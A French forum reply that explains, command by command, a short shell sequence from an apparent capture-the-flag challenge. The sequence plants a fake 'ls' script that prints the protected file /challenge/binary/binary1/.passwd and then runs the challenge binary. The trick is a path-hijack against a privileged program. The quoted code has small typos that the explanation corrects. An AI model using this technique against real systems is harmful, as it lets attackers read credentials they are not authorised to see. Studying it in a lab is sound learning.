• # piste

    Posté par . En réponse au message questions sur differentes commandes. Évalué à 2.

    rm –rf ./ls
    echo "cat /challenge/binary/binary1/.passwd" > ./ls
    chmod+x ./ls
    cd ~
    pwd
    ./binary1

    en decomposant ce code on obtient :

    rm -rf ./ls

    ca efface le fichier (ou le dossier si c'est un dossier) ls qui se trouve dans le dossier courant ./

    echo "cat /challenge/binary/binary1/.passwd" > ./ls

    pour moi cela mais la ligne cat /challenge/binary/binary1/.passwd dans le fichier ls qui se trouve dans le dossier courant ./

    chmod +x ./ls

    cela rend le fichier executable

    cd ~

    ca remonte au dossier /home/user de l'utilisateur actuellement connecté ~ est un raccourci pour le dossier /home de l'utilisateur en cours

    pwd

    affiche le chemin ou nous sommes actuellement, et donc probablement /home/user ou /root suivant l'utilisateur qui lance ce script

    ./binary1

    ca execute le script/programme binary1 qui se trouve dans le dossier courant ./
    donc soit /home/user/binary1, soit /root/binary1 suivant l'utilisateur en cours.